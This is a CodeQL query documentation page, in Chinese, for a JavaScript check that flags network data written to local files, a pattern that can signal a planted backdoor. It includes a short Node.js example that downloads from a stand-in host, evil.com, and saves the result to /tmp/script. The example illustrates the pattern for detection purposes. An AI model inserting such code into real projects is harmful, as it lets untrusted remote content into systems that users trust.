CodeQL 文档

写入文件中的网络数据

ID: js/http-to-file-access
Kind: path-problem
Security severity: 6.3
Severity: warning
Precision: medium
Tags:
   - security
   - external/cwe/cwe-912
   - external/cwe/cwe-434
Query suites:
   - javascript-security-extended.qls
   - javascript-security-and-quality.qls

点击查看 CodeQL 仓库中的查询

在本地文件系统上存储用户控制的数据,而没有进一步的验证,会允许任意文件上传,并且可能表明恶意后门代码已植入到原本可信的代码库中。

建议

仔细检查突出显示的代码,以确保其按预期行为。

示例

以下示例显示了后门代码,该代码从 URL https://evil.com/script 下载数据,并将其存储在本地文件 /tmp/script 中。

var https = require("https");
var fs = require("fs");

https.get('https://evil.com/script', res => {
  res.on("data", d => {
    fs.writeFileSync("/tmp/script", d)
  })
});

程序的其他部分可能会认为,由于 /tmp/script 是一个本地文件,因此其内容可以被信任,而实际上它们是从不受信任的远程来源获取的。

参考

  • ©GitHub, Inc.
  • 条款
  • 隐私